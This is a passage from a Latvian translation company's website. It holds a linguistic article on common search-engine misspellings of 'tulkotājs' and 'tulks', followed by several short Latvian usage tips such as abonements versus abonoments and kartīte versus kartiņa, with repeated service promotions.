grāmatas tulko tulks vai tulkotājs? Tulks specializējas mutvārdu tulkošanā, piemēram, Briselē parlamenta sēdēs kabīnēs sēž tulki un tulces un nodrošina sēdes tulkošanu. Tulkotājs ir speciālists rakstīta teksta tulkošanā, piemēram, Eiropas Savienības dokumentus tulko tulkotāji un tulkotājas. Tātad grāmatas tulko tulkotājs, bet uz vietas kāda ārzemju viesa svinīgo uzrunu mutiski tulko tulks. Citi latviešu valodas padomi NEPIECIEŠAMS TULKOJUMS? SAZINIETIES AR MUMS! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOŠANAS PAKALPOJUMI, KURUS NODROŠINĀM: dokumentu tulkošana tulkojumi ar notariālu apstiprinājumu tehnisko tekstu tulkojumi juridisko tekstu tulkojumi tulkojumi angļu valodā mājaslapu tulkošana lokalizācija medicīnisko tekstu tulkošana tulks konferenču tulkošana Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu KĀ ‘TULKS’ UN ‘TULKOTĀJS’ TIEK MEKLĒTS DAŽĀDĀS INTERNETA MEKLĒTĀJPROGRAMMĀS Regulāro interneta lietotāju skaits pasaulē un Latvijā turpina nemainīgi pieaugt, mēs dzīvojam tehnoloģijas un mākslīgā intelekta laikmetā, tādēļ gan ierastām ikdienas vajadzībām, gan arī darbam, studijām, saziņai ar draugiem vai informācijas meklēšanai izmantojam virkni viedierīču. Tiešsaistē pavadītais laiks ir vērā ņemams. Kam gan nav gadījies strādāt vairākās ierīcēs vienlaikus, piemēram, rakstīt klēpjdatorā, runāt pa tālruni un kaut ko skatīties televizorā. Šī daudzveidība sniedz gan plašu iespēju klāstu, gan reizēm atņem laiku, gan rada grūtības koncentrēties vienam uzdevumam, taču ir skaidrs, ka šodien tehnoloģija palīdz mums īsā laikā atrast un apgūt lielu informācijas apjomu. Jāteic, ka arī pandēmijas izaicinājumi pieprasījumu pēc interneta, e-risinājumiem un e-pakalpojumiem ir tikai stiprinājuši. Protams, ka paradumu maiņai ir gan savi ieguvumi, gan trūkumi, mēs aktīvi esam sākuši lietot e-parakstu, taču ātri zaudējam interesi par uzsākto, mēs daudz pavadām laika tērzētavās, taču nelabprāt vēlamies runāt pa tālruni vai tikties klātienē u. c. Mēs, Skrivanek Baltic, nolēmām izpētīt, kā tad mūsu klienti meklē informāciju tīmeklī par tulku un tulkotāju, poļu valodā tłumacz. Apkopojot rezultātus, esam sagatavojuši arī īsu terminu ‘tulks’ un ‘tulkotājs’ variantu apskatu, kurā par pamatu ir ņemti interneta lietotāju reāli veiktie meklējumi dažādās interneta meklētājprogrammās. TŪLKS Tūlks – vārdā tulks īsais patskanis “u” ir uzrakstīts ar garumzīmi. Visticamāk, ka rakstītājs tā ir uzrakstījis vai nu kļūdas pēc, kas gan ir maz ticams, jo garumzīmju pierakstam tiek izmantots speciālais diakritiskās zīmes taustiņš, vai arī īsti nezinot vārda pareizrakstību, proti, latviešu valodā uzsvars krīt uz vārda pirmo zilbi, kas fonētiski šo patskani, kam seko balsīgais līdzskanis, padara garāk izrunājamu. TULOTAJS Tulotajs – viena no biežāk sastopamajām vārda tulkotājs pieraksta formām interneta meklētājprogrammās. Šis piemērs spilgti iezīmē praksi rakstīt meklētājā vārdus, neizmantojot latviešu valodā esošās diakritiskās zīmes, īpaši, ja meklējam viedtālrunī. Konkrētajā piemērā, vārds meklētājā ierakstīts bez garā patskaņa “ā”, neizmantojot diakritiskās zīmes taustiņu, tāpat izlaists burts “k” pēc burta “l”, lai gan abi taustiņi atrodas viens otram līdzās, kas varētu liecināt, ka vārds ‘tulkotājs’ ir meklēts ļoti lielā steigā. TULKOTAKS Tulkotaks – ņemot vērā, ka burti “j” un “k” uz tastatūras atrodas blakus, ir pamats uzskatīt, ka ātri rakstot un neskatoties uz klaviatūru, tiek sajaukti burti. Arī šajā piemērā burts “a” tiek rakstīts, neizmantojot diakritisko zīmi. TULKOTAJS Tulkotajs – analizējot interneta lietotāju veiktos meklējumus, forma ‘tulkotajs‘ ir viena no biežāk sastopamajām vārda tulkotājs pieraksta formām. To varētu skaidrot gan ar to, ka pierakstā izmantots tādas valodas fonts, kurā nepastāv diakritiskās zīmes, piemēram, angļu valodas, gan arī ar to, ka laika trūkuma dēļ, rakstītājs ir apzināti izvelējies nelietot speciālo diakritiskās zīmes taustiņu, paļaujoties, ka meklētāja tehnoloģija pati automātiski piekoriģēs vēlamo atslēgas vārdu atbilstoši latviešu valodas gramatikas normām. TULK Tulk – ļoti bieža parādība interneta meklētājā vēlamo atslēgas vārdu ir rakstīt bez galotnes, pieņemot, ka interneta meklētājs šādi parādīs precīzāku rezultātu, meklēšanas gaitā analizējot arī vārdu tulks visos tā locījumos. Tātad šajā piemērā vārds tulks uzrakstīts bez galotnes “s”. Interesanti, ka meklējot atslēgas vārdu ‘tulks’ interneta lietotāji tikpat kā vispār meklēšanai nelieto sieviešu dzimtes formu tulce, kas var būt skaidrojams ar praksē nostiprināto ieradumu profesiju nosaukumus lietot vīriešu dzimtē. TULKOTAHS Tulkotahs – vēl viena ļoti populāra pieraksta versija, kurā pareizā burta vietā uz tastatūras tiek nospiests tam blakus esošais burts, proti, šajā gadījumā “h”, kas atrodas tieši blakus burtam “j”. Arī šajā variantā netiek lietota diakritiskā zīme, kas liecina par to, ka visticamāk rakstītājs savā viedierīcē vai datorā lieto fontu, kas neatbalsta latviešu valodas diakritiskās zīmes. TUKOTĀJS Tukotājs – šeit ir izlaists burts “l”, taču vizuāli vārds ir ļoti līdzīgs gramatiski korektajai vārda pieraksta formai, tādēļ ir saprotams, ka rakstītājs kļūdu var pat nepamanīt. Interesanti, ka pierakstot patskani, ir izmantots diakritiskās zīmes taustiņš, kas visticamāk liecina par to, ka rakstītājs ir pievērsis uzmanību vārda pareizrakstībai, taču kāda iemelsa dēļ tomēr pazaudējis burtu “l”. TULKOT'AJS Tulkot'ajs – interesanta un regulāra kļūda, kuru ir salīdzinoši vienkārši izskaidrot, proti, rakstītājs sākotnēji ir uzspiedis diakritiskās zīmes taustiņu, tad atstarpes taustiņu un tikai tad vajadzīgo patskani. TULKOTAJ Tulkotaj – šajā piemērā vārds ‘tulkotajs’ uzrakstīts bez galotnes ”s”. Šī ir ļoti bieža pieraksta forma, kad, rakstot vārdus meklētājā, rakstītājs vēlas, lai meklētājs atrod pēc iespējas vairāk informācijas par vēlamo atslēgas vārdu. TULKOAJS Tulkoajs – šajā atslēgas vārda pieraksta formā ir izlaists burts “t”. Tas var tikt skaidrots gan ar steigu, gan ar uzmanības novēršanu, visbeidzot mēs nereti neievērojam šādas gramatiskās kļūdas, jo vizuāli vārds izskatās analogs meklētajam. TULJOTAJS Tuljotajs – rakstītājs burta “k” vietā ir nospiedis blakus esošo taustiņu ”j”. Šie taustiņi uz tastatūras atrodas blakus vienā līnijā, tādēļ ir ļoti raksturīga parādība, ka ierīču lietotāji viena taustiņa vietā nospiež divus blakus esošos burtu taustiņus. TULKT Tulkt – ļoti interesanta atslēgas vārda pieraksta forma, kurā ir izlaists burts “o”. Pieļaujams, ka neuzmanības kļūda, kura jebkurā gadījumā ļauj meklētājam atrast nepieciešamo informāciju. TULKOTAJS] Tulkotajs] – interesanta un praktiski neizskaidrojama atslēgas vārda pieraksta forma, visticamāk tā ir pārkopēta no kāda dokumenta vai lietojumprogrammatūras. TULKOTĀJAS Tulkotājas – viena no nedaudzajām atslēgas vārda pieraksta formām sieviešu dzimtē, ko varētu skaidrot, ka ir apzināti meklēta tulce, piemēram, sensitīva sievietēm paredzēta satura tulkošanai vai arī uz tastatūras nospiests burtam “s” blakus esošais “a”. TULKOĀJS Tulkoājs – laika trūkuma un steigas dēļ vārdā ir pazudis burts “t”, kaut gan tajā pašā laikā ir lietota diakritiskā zīme, kas prasa papildus taustiņa izmantošanu pirms patskaņa uzrakstīšanas. TULKKOTAJS Tulkkotajs – burta “k” atkārtojums – pārāk ilgi noturēts burta taustiņš. Rakstītājs nav lietojis diakritisko zīmi burtam “a”, vai rakstījis, izmantojot valodu, kurā nepastāv diakritiskās zīmes. TUKLOTAJS Tuklotajs – nepareiza burtu secība, jo šie burti atrodas blakus uz klaviatūras. TULKOTÀJS Tulkotàjs – vārds uzrakstīts kādas citas valodas rakstībā, jo patskanim “a” ir latviešu valodai neatbilstoša diakritiskā zīme. TULKOATSJ Tulkoatsj – šajā variantā rakstītājs ir bijis lielā steigā un vienkārši virknējis vārdā esošos burtus haotiskā secībā. TŪLKOTĀJS Tūlkotājs – spilgts piemērs tam, ka rakstītājam latviešu valoda nav dzimtā, proti, latviešu valodā uzsvars krīt uz vārda pirmās zilbes, kas fonētiski šo patskani, kam seko balsīgais līdzskanis, padara garāk izrunājamu. TULKOTAIS Tulkotais – arī šajā pieraksta formā rakstītājs visticamāk steigā uz tastatūras ir nejauši nospiedis cita burta taustiņu, konkrētajā gadījumā burts “i” atrodas blakus burtam “j” pa diagonāli uz augšu. Otra versija, rakstītājam latviešu valoda nav dzimtā un tiek jaukta fonēma “j” ar fonēmu “i”. TUKOTAJS Tukotajs – šajā versijā nejauši vai steigā ir izlaists burts “l”, vai arī nospiesti taustiņi “k” un “l” vienlaicīgi, tādējādi viedierīce ir izvēlējusies vienu variantu no abiem. Vizuāli skatoties ierīcē mēs pat reizēm šādas atšķirības meklētajā vārdā neievērojam. TULKOTĀJI Tulkotāji – meklētais atslēgas vārds meklētājā ierakstīts pareizi, tikai daudzskaitlī. Šeit nevaram apgalvot, ka rakstītājs būtu sajaucis galotnes, jo burts “s” uz tastatūras atrodas ļoti tālu no burta “i”. Visticamāk šāda pieraksta forma ir apzināta un paskaidro, ka tiek meklēti vairāki tulkotāji, piemēram, lielam, ilgtermiņa projektam. TULKOATJS Tulkoatjs – samērā bieža situācija, kad rakstītājs vēlamajā atslēgas vārdā samaina vietām burtus, kā šajā piemērā “t” ar “a”. Lielākoties tā notiek tādēļ, ka mēs rakstām ātri un šādas kļūdas neievērojam, jo neapzināti redzam to ko vēlamies. TULKOTAJD Tulkotajd – šajā piemērā burts “d” atrodas blakus vajadzīgajam burtam ”s”. Šī uzskatāma par pārrakstīšanās kļūdu, kad lietotājs steigā rakstījis vārdu un nav ievērojis, ka tiek pazaudēta pareizā galotne “s”. Kā jau vairumā variantu, arī šeit vārds ir uzrakstīts, neizmantojot garo patskani “ā”, visticamāk tieši steigas dēļ. TULKOTĀJA Tulkotāja – šajā variantā burts “a” atrodas tieši blakus paredzētajam ”s”. Bet arī šī versija ir pareiza, jo meklētais atslēgas vārds ir uzrakstīts sieviešu dzimtē, kas netiek novērots samērā bieži. TIULKOTAJS Tiulkotajs – šajā pieraksta formā skaidri redzams, ka uz tastatūras vienlaicīgi ir nospiesti divi blakus esošie burti proti “i” un “u”. Tehnoloģija ir fiksējusi abus burtus. Tāpat tas varētu būt skaidrojams ar to, ka meklēšanai ir ticis izmantots viedtālrunis vai kāda cita ierīce ar skārienjutīgu ekrānu. TULOTAJS Tulotajs – vārdā pazudis “k”, šī ir diezgan bieži sastopama pieraksta forma atslēgas vārdam ‘tulkotājs’, proti, abi vajadzīgie blakus esošie taustiņi tiek nospiesti vienlaicīgi un sistēma attiecīgi izvēlas vienu. RULKOTAJS Rulkotajs – tipveida steigas kļūda, kad “t” vietā uz tastatūras nospiests blakus esošais taustiņš ”r”. Meklētājs noteikti atradīs pareizo versiju. TUKKOTAJS Tukkotajs – ļoti bieža kļūda, kad meklētājā, rakstot vajadzīgo atslēgas vārdu, tiek dublēts kāds no burtiem, šajā konkrētajā piemērā ir notikusi burta “k” dublēšana, ilgāk paturot burta taustiņu vai nospiežot to atkārtoti, pazaudējot burtu ”l”. TULKOT;AJS Tulkot;ajs – interesanta pieraksta forma, taču krietni retāka versija, kad, lai uzrakstītu garo patskani, kļūdas pēc ir nospiests taustiņš ”;”, nevis diakritiskās zīmes taustiņš. Tas ir skaidrojams ar to, ka šie taustiņi uz klaviatūras atrodas blakus. ULKOTAJS Ulkotajs – ļoti bieži rakstot ātri un bez skatīšanās uz tastatūras, vai viedierīcē, mēs izlaižam vai nenospiežam vārdu pirmos burtus. Šajā pieraksta formā ir izlaists vārda pirmais burts “t”. TULKOTĀKS Tulkotāks – ņemot vērā, ka burti “j” un “k” uz tastatūras atrodas blakus, ir pamats uzskatīt, ka rakstot steigā un neskatoties uz klaviatūru, burtu taustiņi tiek sajaukti vietām. Interesanti, ka šajā piemērā burts “a” tiek rakstīts, izmantojot diakritisko zīmi. TOLKOTAJS Tolkotajs – visticamāk šādu kļūdu varētu pieļaut cilvēks, kuram latviešu valoda nav dzimtā. Ņemot vērā, ka burtu ”o” un ”u” taustiņi uz tastatūras ir izvietoti vienā rindā un tos atdala tikai burta “i” taustiņš, iespējams šeit ir pieļauta neuzmanības kļūda. YTULKOTAJS Ytulkotajs – atslēgas vārda ‘tulkotajs’ priekšā ir uzrakstīts lieks burts “y”, kas uz tastatūras atrodas blakus vārda pirmajam burtam “t”. Šī gan būs izteikta neuzmanības un steigas kļūda. TULOKOTAJS Tulokotajs – šajā variantā jau ir vairāku vārdā esošo burtu kombinācija, pilnīgi lieks ir burts “o”, bet tas atkal atrodas blakus pareizajiem burtiem un tiek nospiests kļūdas pēc. TULKOTSJS Tulkotsjs – vajadzīgā burta “a” vietā ir nospiests tam blakus esošais “s”, burti “a” un “s” diezgan bieži ir tieši tie, kas dublējas, tiek visvairāk lietoti, radot kļūdainu vārdu pierakstu. TULKOTAJHS Tulkotajhs – šāds vārda pieraksts varētu būt raksturīgs rakstītājam, kuram dzimtā valoda nav latviešu, vai arī tiek izmantota kāda viedierīce, kurā ir raksturīgi, nerakstot latviešu valodas šriftā, lietot burtu “h”, lai mīkstinātu līdzskaņus vai pagarinātu patskaņus. YTULKOTĀJS Ytulkotājs – vārda priekšā tiek uzrakstīts lieks burts “y”, kas atrodas blakus uz klaviatūras vārda pirmajam burtam “t”. Šī gan būs izteikta neuzmanības un steigas kļūda. Patskanis “a” gan tiek uzrakstīts garš, kas prasa diakritiskās zīmes taustiņa nospiešanu. TULKTOAJS Tulktoajs – viens no spilgtākajiem piemēriem, kad mēs rakstām, neskatoties uz klaviatūru vai vienkārši ļoti steidzoties virknējam vārdā esošos burtus nepareizā kārtībā. --- > Ieskaties un uzzini pareizo atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā komunikācijā, gan sadzīvē. - Published: 2017-11-10 - Modified: 2024-07-08 - URL: https://skrivanek.lv/abonements-pret-abonoments/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ABONEMENTS PRET ABONOMENTS 1 Tuvojoties gada beigām, neskaitāmi preses izdevumi aicina iegādāties... abonamentus? Abonementus? Abonomentus? Vārds „abonēt” nozīmē par maksu iegūt tiesības kaut ko regulāri saņemt vai lietot, piemēram, abonēt laikrakstu, abonēt žurnālu. No darbības vārda „abonēt” arī veidots lietvārds „abonements”. Tātad varam iegādāties laikraksta abonementu, žurnāla abonementu, teātra abonementu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ģitāru liek futlārī vai futrālī? Uzzini atbildi! Daudzi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2017-11-10 - Modified: 2024-10-22 - URL: https://skrivanek.lv/futlaris-pret-futralis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional FUTLĀRIS PRET FUTRĀLIS 1 Vai ģitāru liek futlārī vai futrālī? Speciālu kārbu, ietvaru kāda priekšmeta glabāšanai sauc par futrāli. Mulsumu rakstībā visdrīzāk radījis atbilstošais vārds krievu valodā „футляр”, taču latviešu valodā tas aizgūts no vācu valodas vārda „Futteral”, tāpēc mēs rakstām „otas futrālis”, „termometra futrālis”. Tātad ģitāru liksim futrālī, futrālī liksim arī brilles. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā pareizi raksta šo lietvārdu? Uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2017-11-10 - Modified: 2025-03-12 - URL: https://skrivanek.lv/baneris-pret-banneris/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional BANERIS PRET BANNERIS 1 Vai pilsētā redzam banerus vai bannerus? Vārda „baneris” pamatā ir angļu valodas vārds „banner”, kas atbilstoši tā izrunai oriģinālvalodā latviešu valodā ir rakstāms ar vienu „n” burtu, tātad pareizi ir „baneris”. Jāteic gan, ka šā vietā iesaka lietot vārdu „reklāmkarogs”, ja runa ir par reklāmu tīmeklī, kas parasti izveidota taisnstūra formā un uz kuras uzklikšķinot nonāk reklamētajā tīmekļvietnē, vai arī „reklāmplakāts”, ja runa ir par lielu plakātu ar uzdrukātu reklāmu, kas parasti nostiprināts ar stiepli vai auklu un izkārts cilvēkiem labi redzamā vietā, piemēram, pilsētas centrā, lielveikalā, dzelzceļa stacijā, lidostā u. c. Tātad internetā varam uzklikšķināt uz banera jeb reklāmkaroga, pilsētā varam apskatīt krāšņus banerus jeb reklāmplakātus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā sauksim šos apavus – sandales vai zandales? Varbūt zandeles? Ieskaties un uzzini atbildi! Citi latviešu valodas padomi vienuviet! - Published: 2017-11-10 - Modified: 2024-07-10 - URL: https://skrivanek.lv/zandales-pret-sandales/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ZANDALES PRET SANDALES 1 Kā sauksim šos apavus – sandales vai zandales? Varbūt zandeles? Apavus ar zemu papēdi vai bez tā, kuriem virsa veidota no kāda materiāla siksnām, sloksnēm vai caurumotas ādas, sauc par sandalēm. Pamatā ir grieķu vārds „sandalon”, kas nozīmē ‘koka kurpe’. Vācu valodā vārdā „sandale” sākumburtu „s” izrunā kā „z”, droši vien tāpēc šāda izruna un pēc tās arī rakstījums ieviesušies latviešu valodā. Veikalā varam izvēlēties gladiatoru sandales ballītei, ērtas sandales garākām vasaras pastaigām utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā pareizi raksta šo vārdu? Uzzini atbildi! Vairāki latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2017-11-10 - Modified: 2024-11-01 - URL: https://skrivanek.lv/kartite-pret-kartina/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KARTĪTE PRET KARTIŅA 1 Vai Ziemassvētkos sūtīsim kartiņu vai kartīti? Bieži deminutīva „kartīte” vietā tiek lietots vārds „kartiņa”. Pēdējā ir aplami darināta deminutīva forma, jo latviešu valodā ir vārds „karte”, nevis „karta”. „Karte” ir 5. deklinācijas lietvārds ar galotni „-e”, kura deminutīva forma ir „kartīte” līdzīgi kā vārdi „lentīte” vai „bizīte”. Tātad radiem un draugiem sūtīsim apsveikuma kartītes, futbolā tiesnesis var parādīt dzelteno kartīti. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Ieskaties un uzzini atbildi! Citi latviešu valodas padomi vienuviet! Noderīgi gan lietišķajā saziņā, gan sadzīvē. - Published: 2017-11-10 - Modified: 2024-07-15 - URL: https://skrivanek.lv/plassazinas-lidzekli-pret-masu-mediji/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PLAŠSAZIŅAS LĪDZEKĻI PRET MASU MEDIJI 1 Vai televīzija un preses izdevumi ir plašsaziņas līdzekļi vai masu mediji? Radio, televīzija, preses izdevumi, internets ir masu saziņas līdzekļi, kurus latviešu valodā dēvējam par plašsaziņas līdzekļiem. Pēdējos gados līdzās plašsaziņas līdzekļu jēdzienam funkcionē arī vārds „mediji”, īpaši terminos: medijpratība, audiovizuālie mediji utt. Vārdkopa „masu mediji” gan latviešu valodā nav ieteicama. Tātad par jaunumiem pasaulē mēs uzzinām plašsaziņas līdzekļos, sociālajos plašsaziņas līdzekļos dalāmies ar mums aktuālo. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas 